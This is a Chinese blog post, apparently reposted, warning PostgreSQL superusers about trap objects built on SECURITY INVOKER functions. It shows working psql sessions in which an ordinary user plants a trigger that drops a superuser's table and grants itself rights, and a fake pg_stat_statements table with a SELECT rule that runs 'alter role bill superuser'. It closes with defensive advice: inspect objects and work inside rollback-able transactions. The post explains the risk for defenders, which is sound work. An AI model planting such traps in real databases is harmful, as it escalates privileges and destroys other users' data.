select也要小心——PostgreSQL security invoker函数带来的安全隐患

pg中创建函数时可以指定权限检测,有两个可选参数:SECURITY INVOKER和SECURITY DEFINER。

SECURITY INVOKER:表示要用调用该函数的用户的特权来执行它。这是默认值。
SECURITY DEFINER:指定要用拥有该函数的用户的特权来执行该函数。

比如我们使用普通用户创建了一个调用者权限的函数,那么当超级用户调用这个函数时,就会以超级用户的权限来执行,这就会导致很大的安全隐患。

例子:
我们现在数据库中有两个用户:超级用户postgres和普通用户bill。
接着我们用普通用户创建一个表,并在这个普通用户的表上创建触发器。当超级用户操作这个表,并触发了触发器时,就会执行触发器函数,且触发器函数的调用权限是默认的SECURITY INVOKER时,就会导致安全问题。

使用超级用户建两张表t1和t2:

postgres=# create table t1(id int);
CREATE TABLE
postgres=# create table t2(id int);
CREATE TABLE

使用普通用户建一张表test:

postgres=# \c - bill
You are now connected to database "postgres" as user "bill".
postgres=> create table test(id int);
CREATE TABLE

创建一个调用权限是security invoker的触发器函数:

postgres=> create or replace function tg1() returns trigger as $$  
postgres$> declare  
postgres$> begin  
postgres$>   drop table t1 cascade;  --  干掉超级用户的表。删数据库都行。  
postgres$>   grant all on table t2 to bill; -- 获得超级用户的表的所有权限。  
postgres$>   return null;  
postgres$> end;  
postgres$> $$ language plpgsql security invoker;  -- security invoker是指调用这个函数时使用调用者的权限,而不是函数owner的权限。 
CREATE FUNCTION

创建触发器:

postgres=> create trigger tg2 before truncate on test for each statement execute procedure tg1();  
CREATE TRIGGER

切换到超级用户去truncate test表:

postgres=> \c - postgres 
You are now connected to database "postgres" as user "postgres".
postgres=# truncate test;
TRUNCATE TABLE

超级用户中的t1表被删除了,并且普通用户bill也有了对超级用户下表t2的操作权限了:

postgres=# \d
        List of relations
 Schema | Name | Type  |  Owner   
--------+------+-------+----------
 public | t2   | table | postgres
 public | test | table | bill
(2 rows)

postgres=# \dp+ t2 
                                Access privileges
 Schema | Name | Type  |     Access privileges     | Column privileges | Policies 
--------+------+-------+---------------------------+-------------------+----------
 public | t2   | table | postgres=arwdDxt/postgres+|                   | 
        |      |       | bill=arwdDxt/postgres     |                   | 
(1 row)

可以发现,超级用户去操作普通用户的表竟然会有这么严重的后果!

除了触发器,我们还可以使用rule来实现类似的功能。
这里我们用普通用户创建了一个和pg_stat_statements视图同名的表,这样当超级用户去查询这个视图的时候就会将superuser权限赋给了普通用户。

postgres=# \c - bill
You are now connected to database "postgres" as user "bill".
postgres=> create table pg_stat_statements (  
postgres(>  userid oid              ,  
postgres(>  dbid                oid      ,          
postgres(>  queryid             bigint      ,       
postgres(>  query               text           ,    
postgres(>  calls               bigint      ,       
postgres(>  total_time          double precision ,  
postgres(>  rows                bigint           ,  
postgres(>  shared_blks_hit     bigint   ,          
postgres(>  shared_blks_read    bigint    ,         
postgres(>  shared_blks_dirtied bigint     ,        
postgres(>  shared_blks_written bigint      ,       
postgres(>  local_blks_hit      bigint       ,      
postgres(>  local_blks_read     bigint          ,   
postgres(>  local_blks_dirtied  bigint        ,    
postgres(>  local_blks_written  bigint         ,    
postgres(>  temp_blks_read      bigint          ,   
postgres(>  temp_blks_written   bigint           ,  
postgres(>  blk_read_time       double precision ,  
postgres(>  blk_write_time      double precision );  
CREATE TABLE

postgres=>  create or replace function f() returns pg_stat_statements as $$                  
postgres$> declare  
postgres$> begin  
postgres$>   alter role bill superuser;  
postgres$> end;  
postgres$> $$ language plpgsql security invoker;  
CREATE FUNCTION

postgres=> create rule "_RETURN" as on select to pg_stat_statements do instead select * from f();  
CREATE RULE

即使你不能自建函数,你同样可以制造陷阱,利用现有的函数即可。因为系统函数都是security invoker的。

例如:
管理函数,如reset统计信息;设置参数,可以用来改配置,例如改内存大小,连接数;terminate进程;启停备份;创建流复制SLOT;列出目录文件;读文件内容;操作大对象;等等,而且这些信息都可以借机写入普通用户的表里面。

所以超级用户千万不要轻易去对不知名的表,视图执行select,insert,update,delete,truncate操作。所以函数的security invoker权限是很危险的,如果是security definer则没有以上风险。

当然我们也可以避免这种情况:

1、先检查对象上是否有“陷阱”

postgres=> \d+ test
                                   Table "public.test"
 Column |  Type   | Collation | Nullable | Default | Storage | Stats target | Description 
--------+---------+-----------+----------+---------+---------+--------------+-------------
 id     | integer |           |          |         | plain   |              | 
Triggers:
    tg2 BEFORE TRUNCATE ON test FOR EACH STATEMENT EXECUTE FUNCTION tg1()
Access method: heap

2、在事务中操作,万一有问题可以回滚

begin;  
......  
rollback;
发布了155 篇原创文章 · 获赞 88 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/weixin_39540651/article/details/104993820